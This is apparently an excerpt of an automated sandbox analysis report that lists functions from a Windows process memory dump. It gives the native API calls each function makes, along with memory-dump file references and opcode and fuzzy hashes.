Part of subcall function 6C040F48: ZwOpenKey.1105(?,?,00000018), ref: 6C041015

ZwClose.1105(?,?,?,?,\DllNXOptions,?,?,00000000), ref: 6C06068E
LdrQueryImageFileKeyOption.1105(?,?,00000004,?,00000004,?,?,?,00000000), ref: 6C0606A6

Strings

\DllNXOptions, xrefs: 6C0042BE

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileImageInitOpenOptionQueryStringUnicode
String ID: \DllNXOptions
API String ID: 166309601-742623237
Opcode ID: 630a9e4b3f1ed95cd00b3c17ce910d938ca6541c7a413c365651d9d31a679065
Instruction ID: 966b9a878c3657a86b417ecd00b461a3701ddf565b2c04e2b965c50c1e24002e
Opcode Fuzzy Hash: 630a9e4b3f1ed95cd00b3c17ce910d938ca6541c7a413c365651d9d31a679065
Instruction Fuzzy Hash: 2D01D876A00119BADB109A969D00FDF77FCDB8532CF1041B6EE14A7A40D630AD0586E4

Uniqueness

Uniqueness Score: -1.00%

Function 6C018800, Relevance: 6.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

APIs

memcmp.1105(6C0F84DC,6BFE1184,00000010,-00000054,?,00000000,00000001,?,6C0F52D8), ref: 6C0188A8
RtlAcquireSRWLockExclusive.1105(6C0F86CC,-00000054,?,00000000,00000001,?,6C0F52D8), ref: 6C018901
RtlReleaseSRWLockExclusive.1105(6C0F86CC,6C0F86CC,-00000054,?,00000000,00000001,?,6C0F52D8), ref: 6C018933
RtlAcquireSRWLockExclusive.1105(6C0F86CC,-00000054,?,00000000,00000001,?,6C0F52D8), ref: 6C069C65

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Acquire$Releasememcmp
String ID:
API String ID: 2792186644-0
Opcode ID: 306c295f8355cf5f0b6739e0c4eaa6e8aa5685b732ce9bc2caeb20118cb4e176
Instruction ID: e66ec081a7671036afc83e460fca2c93214ad7d6be0fd75241a732b4dbe39890
Opcode Fuzzy Hash: 306c295f8355cf5f0b6739e0c4eaa6e8aa5685b732ce9bc2caeb20118cb4e176
Instruction Fuzzy Hash: 8551CF71A0920ADFDF08CF99C4807AEB3F5FF45309F56426AD815ABE00DB30AA45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C030548, Relevance: 6.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6C0F7B60,?,00000000,01000000,?,6C030408,?,00000000,00000024), ref: 6C030576
RtlLeaveCriticalSection.1105(6C0F7B60,6C0F8544,?,00000001,?,?,?,?,?,6C0F7B60,?,00000000,01000000), ref: 6C03059F
RtlRbInsertNodeEx.1105(6C0F8544,?,00000001,?,?,?,?,?,6C0F7B60,?,00000000,01000000), ref: 6C0305F6

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterInsertLeaveNode
String ID:
API String ID: 1141981990-0
Opcode ID: 620abe8b56905e51b43e988887177e8de6e0d41d77a6bfc167230b3f480f583c
Instruction ID: 75603d3c23bc23bf6129b8e782bd635c6e11aec937b59fdc9f7ce8816278de27
Opcode Fuzzy Hash: 620abe8b56905e51b43e988887177e8de6e0d41d77a6bfc167230b3f480f583c
Instruction Fuzzy Hash: 98512D71B4E2A79BD711CA5A8C00B5FBBF8AF8171CF141265DC58EBA41E770D940CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6C0CB581, Relevance: 6.2, APIs: 4, Instructions: 163nativeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6C05FC28), ref: 6C0CB6C4
RtlGetCurrentServiceSessionId.1105(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,?,6C05FC28), ref: 6C0CB6F0
RtlGetCurrentServiceSessionId.1105 ref: 6C0CB726
ZwTraceEvent.1105(?,00000402,00000004,?), ref: 6C0CB75E

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$EventTrace
String ID:
API String ID: 4061387822-0
Opcode ID: 0458f8900faa456dcf58c5313dff0ae9ebc306588f302d4324da416ecd321b7a
Instruction ID: 297545cd078fc3faabebfaa72566f3ba71eb0f2827ffc5d0108bc3c1ac5bbefc
Opcode Fuzzy Hash: 0458f8900faa456dcf58c5313dff0ae9ebc306588f302d4324da416ecd321b7a
Instruction Fuzzy Hash: FD51D0317057428BD701CF68C590BAEB7E8BF40718F244569E8558BB91EB75E909CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 6C001AA0, Relevance: 6.1, APIs: 4, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.1105(?,00000008,00000000,?,00000000,?,?,00000000,C0000017), ref: 6C001B1E
ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00002000,00000004,00000000,?,?,00000000,C0000017,?,?,6C0016E0), ref: 6C001B83
ZwAllocateVirtualMemory.1105(000000FF,6C0016E0,00000000,C0000017,00001000,00000004,00000000,?,?,00000000,C0000017,?,?,6C0016E0), ref: 6C001BBD
RtlAllocateHeap.1105(?,00000008,?,00000000,?,?,00000000,C0000017), ref: 6C001BD8

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Allocate$HeapMemoryVirtual
String ID:
API String ID: 1343662020-0
Opcode ID: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction ID: a344b6968c862896400f29b364e1666aefe4f6de735f85e84ab96346047112e8
Opcode Fuzzy Hash: ff884249f956a76cbe8466050f7d8afdfb7191b031ec1569717d03b17d0e24ed
Instruction Fuzzy Hash: E3414B71A05609EFEB24CF99C980B9AB7F9FF09308B21456DE556D7A50E330EA44CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6C00F018, Relevance: 6.1, APIs: 4, Instructions: 95memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6C00F05B
ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F07A
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0AB
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6C00F0CB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeQueryValuememcpy
String ID:
API String ID: 125101864-0
Opcode ID: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction ID: f6e4e30a4d1fb661361f6ab897b983015e31979c0378d9cacd7a5578d8c82adb
Opcode Fuzzy Hash: 505cdb4590f4c2fa0a685607fb8905ed14938dcd0161c7b296e56ef626f41d17
Instruction Fuzzy Hash: 4131E132B02504AFFB11CE88C980B5E73EDEB84718F268029EC149BB01D375DD40EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6C006730, Relevance: 6.1, APIs: 4, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6C00674F
RtlGetCurrentServiceSessionId.1105(00000001), ref: 6C00677C
RtlDebugPrintTimes.1105(?,?,?,?,00000001), ref: 6C0067B1
RtlGetCurrentServiceSessionId.1105 ref: 6C0067B9

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession$DebugPrintTimes
String ID:
API String ID: 286911700-0
Opcode ID: 777b7857401a9079feb985892036bdbf01e20b7559a24ad38fee4f66d5dd58b8
Instruction ID: dc896d69fca953c683c19ed012efbbe68418eb8fb36070e4a62fdb46db8fe32c
Opcode Fuzzy Hash: 777b7857401a9079feb985892036bdbf01e20b7559a24ad38fee4f66d5dd58b8
Instruction Fuzzy Hash: B6318735705A05AFEB029F29DA80B8ABBE2FF45718F805125EC0487F60DB35F964CB81

Uniqueness

Uniqueness Score: -1.00%

Function 6C031DB5, Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

APIs

RtlQueryInformationActivationContext.1105(-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?,?,?,00000040,-00000054,00000000), ref: 6C031DF7
RtlQueryInformationActivationContext.1105(-40000003,-00000054,00000000,00000006,00000000,00000000,00000000,-40000003,?,00000000,00000006,00000000,00000000,00000000,00000000,?), ref: 6C031E36

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContextInformationQuery
String ID:
API String ID: 2130846384-0
Opcode ID: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction ID: 9f5aa41f450554d8ba734eb0eb9144b8bc2d095782d0ecb7cbf4ece0a60f0108
Opcode Fuzzy Hash: 39ad629a20701d3ed16c14f322ca06b3d590f6998de82038df02d262996ece3b
Instruction Fuzzy Hash: C0219F3164112AEBD710CF9ACC80F9BBBFDEF89684F115055E90897A50D675EE01CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C0DF1B5, Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,-0000000B,00000002,00000001,00000000,6C03FE70,00000000), ref: 6C0DF1EC

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 15bca59faf5cb8ce4f6efc38c0d4972d9dec821466d6cee032e222b04b82ed70
Instruction ID: 7b3c09acf4b7b3f500341d0d03b78aec97293ef1dae285aae2c59fe6bcccbcfb
Opcode Fuzzy Hash: 15bca59faf5cb8ce4f6efc38c0d4972d9dec821466d6cee032e222b04b82ed70
Instruction Fuzzy Hash: 2621C13AA00614ABDB118F89CC84F9ABBFCFF46724F128165EE059BA10D334BD05CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6C0318B9, Relevance: 6.1, APIs: 4, Instructions: 75nativetimeCOMMON

Download Yara Rule

APIs

ZwCreateTimer2.1105(00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6C0318E6
ZwCreateWaitCompletionPacket.1105(0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6C0318F6
ZwAssociateWaitCompletionPacket.1105(?,00000000,00000058,00000060,?,00000000,?,?,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002), ref: 6C031926
ZwClose.1105(00000058,0000005C,00000001,00000000,00000058,00000000,00000000,00000008,00100002,00000040,00000000,00000000), ref: 6C075690

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CompletionCreatePacketWait$AssociateCloseTimer2
String ID:
API String ID: 56835937-0
Opcode ID: 4028b5d0c6f034cf41eb0af1a0e2b48c6b698e92a3200e5d80e3007c46a588ce
Instruction ID: 68cfded6a34d54656f576ac6ddda819eb2ec73c40c30707ffb5c6ea30b9b3823
Opcode Fuzzy Hash: 4028b5d0c6f034cf41eb0af1a0e2b48c6b698e92a3200e5d80e3007c46a588ce
Instruction Fuzzy Hash: AC2151B150020AEFDB10CF99C880F96BBFCFF48348F10816AE54497641D771E916CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C033B7A, Relevance: 6.1, APIs: 4, Instructions: 75memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6C033BB0
ZwQuerySystemInformationEx.1105(0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6C033BCF
memset.1105(6C0743AB,00000000,?,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6C033BEA
RtlFreeHeap.1105(?,?,00000000,0000006B,00000001,00000004,00000000,?,?,?,?,?,?,7FFE03C0,7FFE03C0,?), ref: 6C033C30

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreeInformationQuerySystemmemset
String ID:
API String ID: 21860560-0
Opcode ID: 7047582ee19410022f60bb7ab8d5ac724c7f84a5ae07967128d1318d29a708db
Instruction ID: 8313d499d919fd25004d634b7c7524d2a60052c42a722af94302a1534491d527
Opcode Fuzzy Hash: 7047582ee19410022f60bb7ab8d5ac724c7f84a5ae07967128d1318d29a708db
Instruction Fuzzy Hash: 2521BEB2A01119AFDB00CF98CD81B9AB7BDFB45308F250169E908AB651C771AD568B90

Uniqueness

Uniqueness Score: -1.00%

Function 6C096652, Relevance: 6.1, APIs: 4, Instructions: 74memorynativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,00000000,00000000,00000000,?,?,6C07B381,00000001,6C0F861C,6C0E0268,00000020,6C01BE44,?,00000000,?,00000001), ref: 6C09668C
RtlAllocateHeap.1105(?,00000008,?,00000000,00000000,00000000,?,?,6C07B381,00000001,6C0F861C,6C0E0268,00000020,6C01BE44,?,00000000), ref: 6C0966D0

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateCloseHeap
String ID:
API String ID: 3565931908-0
Opcode ID: 89a8c185cb50f529e8e13168cd6bb224900029f37209af1739086f8c6e50e3cd
Instruction ID: c22a77604df07065522b7a9e9e9bcd65a49cb2ef0e69286ec596f6bd3ed64e62
Opcode Fuzzy Hash: 89a8c185cb50f529e8e13168cd6bb224900029f37209af1739086f8c6e50e3cd
Instruction Fuzzy Hash: 06219072601A11ABD6414E699840B52F7F8BB1237CF152326EC30D3E91C772FAA0DAE0

Uniqueness

Uniqueness Score: -1.00%

Function 6C004DC0, Relevance: 6.1, APIs: 4, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

RtlWakeAddressAllNoFence.1105(00000000), ref: 6C004DE8
RtlRaiseStatus.1105(00000000,?,?,?,6C01EBD0,?,?,?,?,00000000,?,6C001E03,?,6C001D6E,?), ref: 6C004E04
ZwAlpcQueryInformation.1105(?,0000000B,FFFFFFFE,00000004,00000000,00000000,000000FF,?,?,00000000,?,?,?,6C01EBD0,?,?), ref: 6C060B73

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressAlpcFenceInformationQueryRaiseStatusWake
String ID:
API String ID: 3812654406-0
Opcode ID: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction ID: b304991cb2e3a47a54cd6260868ac674cbb863ba280bbc8454504791a14c3e19
Opcode Fuzzy Hash: 5d5570f8a10cb7a806a67cbbe6a9f52131e3c8302fa82ec5a631861a7e33764d
Instruction Fuzzy Hash: 9E11C131740314BBFB149AB58C41FEB73DC9F55718F11852AA91597E80EBB1F9088299

Uniqueness

Uniqueness Score: -1.00%

Function 6C043EE4, Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,00000028,?,?,6C068546), ref: 6C043F07
RtlGetLocaleFileMappingAddress.1105(00000000,6C0F65D4,6C068546,?,00000008,00000028,?,?,6C068546), ref: 6C043F23

Part of subcall function 6C043FA0: ZwInitializeNlsFiles.1105(00000028,00000008,?,?,?,00000000,?,6C043F28,00000000,6C0F65D4,6C068546,?,00000008,00000028,?), ref: 6C043FCD

RtlFreeHeap.1105(?,00000000,00000000,00000000,6C0F65D4,6C068546,?,00000008,00000028,?,?,6C068546), ref: 6C07E7D3
RtlFreeHeap.1105(?,00000000,00000000,00000000,6C0F65D4,6C068546,?,00000008,00000028,?,?,6C068546), ref: 6C07E7EB

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$AddressAllocateFileFilesInitializeLocaleMapping
String ID:
API String ID: 1831200515-0
Opcode ID: 2bfc6859af49eab673a846772390e970858eda8aefa2961e67e0f27af5f14a4f
Instruction ID: 21b051a2cde64f4f46aa033ec925a0e23628a57570c01f2fe93f80ca83ebfe4a
Opcode Fuzzy Hash: 2bfc6859af49eab673a846772390e970858eda8aefa2961e67e0f27af5f14a4f
Instruction Fuzzy Hash: A5219D79601A00DFC725DF69C900B9677F9AF08708F244569E859CBB21E734E946CB94

Uniqueness

Uniqueness Score: -1.00%

Function 6C098372, Relevance: 6.1, APIs: 4, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwClose.1105(00000000,?,00000000,00000000), ref: 6C09839C
RtlStringFromGUIDEx.1105(?,?,00000001,?,00000000,00000000), ref: 6C0983B9
ZwCreateKey.1105(?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6C0983F5
RtlFreeUnicodeString.1105(?,?,?,00000018,00000000,00000000,00000000,00000001,?,?,00000001,?,00000000,00000000), ref: 6C098400

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: String$CloseCreateFreeFromUnicode
String ID:
API String ID: 4294597832-0
Opcode ID: f9cd40340a9396bc6bb95be98ec5e611f7130ce7c6f7cc1929220880a522621f
Instruction ID: 06757a68a790c7aeee5fcc79fcfb039f875989e8faa654b15449fb9a3de52124
Opcode Fuzzy Hash: f9cd40340a9396bc6bb95be98ec5e611f7130ce7c6f7cc1929220880a522621f
Instruction Fuzzy Hash: 8B211DB1D0121DABDB04CFA4C885AEFB7F8EB04314F10413AE910E7700EB75AE488BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6C00519E, Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C0052A5: RtlEnterCriticalSection.1105(6C0F79A0,?,00000000,?), ref: 6C0052BF
Part of subcall function 6C0052A5: RtlLeaveCriticalSection.1105(6C0F79A0,6C0F79A0,?,00000000,?), ref: 6C0052DD

RtlEqualUnicodeString.1105(?,?,00000001,?,?,?), ref: 6C060CCB
RtlLeaveCriticalSection.1105(6C0F79A0,?,?,?), ref: 6C060CE4

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$EnterEqualStringUnicode
String ID:
API String ID: 4283003422-0
Opcode ID: c1830cd8ff814d99d21797a484931f3b6f0281ebca12106f7abfd231e9d12ab2
Instruction ID: 07c59921a802f42a461b093cad9d02aa7e198d157221628f38ae50ac1d559f91
Opcode Fuzzy Hash: c1830cd8ff814d99d21797a484931f3b6f0281ebca12106f7abfd231e9d12ab2
Instruction Fuzzy Hash: 69117B38A862019BDB208F6DC440BEEBBF5EF15B2CF61012AE85593F80D731D941C794

Uniqueness

Uniqueness Score: -1.00%

Function 6C033B5A, Relevance: 6.1, APIs: 4, Instructions: 51memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,?,?,6C033AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6C076208
RtlFreeHeap.1105(?,?,?,6C033AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6C07622C
RtlFreeHeap.1105(?,?,?,6C033AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6C076250
RtlFreeHeap.1105(?,?,00000000,6C033AEC,?,?,00000000,?,?,?,?,?,00000000,?,?,00000120), ref: 6C07626D

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 34b70650731db21cc7dcd6c64bb95992a379f697909d6e1da71ab3400fb82db1
Instruction ID: e308dd364317948b54490842a4a61b91cc3ec1c50d7e971482b9270c353b2026
Opcode Fuzzy Hash: 34b70650731db21cc7dcd6c64bb95992a379f697909d6e1da71ab3400fb82db1
Instruction Fuzzy Hash: D6113A36602954DFCB69DF49CA40F9A73F9FB09A08F150168E846A7B52C728FC01CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6C00A745, Relevance: 6.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,6C03DFD8,00000000,?,?,?,?,?,6C003DAD,?,00000000,6C0DF4D0,00000084), ref: 6C00A757
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6C03DFD8,00000000,?,?,?,?,?,6C003DAD,?,00000000,6C0DF4D0), ref: 6C00A774
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,6C03DFD8,00000000,?,?,?,?,?,6C003DAD,?,00000000,6C0DF4D0), ref: 6C06442E
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,6C03DFD8,00000000,?,?,?,?,?,6C003DAD), ref: 6C06443F

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireFreeHeap
String ID:
API String ID: 2563869513-0
Opcode ID: b85cd8d915468a058127c75c5dea38b8352ff779ed866c7bf637b8e4f0d822db
Instruction ID: 9744a441d06fea1dd305190a8b1a0f2bc144ac6fd3f9e708c37da4ec53f418d8
Opcode Fuzzy Hash: b85cd8d915468a058127c75c5dea38b8352ff779ed866c7bf637b8e4f0d822db
Instruction Fuzzy Hash: 3B01F272246201EBC310DFAEDC01B55B7FCEF03328B15826AE5588BB51CA34E845CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 6C02E090, Relevance: 6.0, APIs: 4, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

RtlWow64EnableFsRedirectionEx.1105(6C0F7B60,6C0F7B60,6C02DFDF,?,00000000,6C0F7B60,6C0DFE18,00000028), ref: 6C02E0A6
RtlEnterCriticalSection.1105(6C0F7B60,6C02DFDF,?,00000000,6C0F7B60,6C0DFE18,00000028), ref: 6C02E0B7
RtlLeaveCriticalSection.1105(6C0F7B60,6C0F7B60,6C02DFDF,?,00000000,6C0F7B60,6C0DFE18,00000028), ref: 6C02E0DC
ZwSetEvent.1105(00000000,6C0F7B60,6C0F7B60,6C02DFDF,?,00000000,6C0F7B60,6C0DFE18,00000028), ref: 6C02E0EF

Memory Dump Source

Source File: 00000016.00000002.530995436.000000006BFE1000.00000020.00020000.sdmp, Offset: 6BFE0000, based on PE: true

Associated: 00000016.00000002.530966257.000000006BFE0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.543140997.000000006C0F5000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.543173124.000000006C0FB000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.543233714.000000006C0FF000.00000002.00020000.sdmp Download File

Similarity

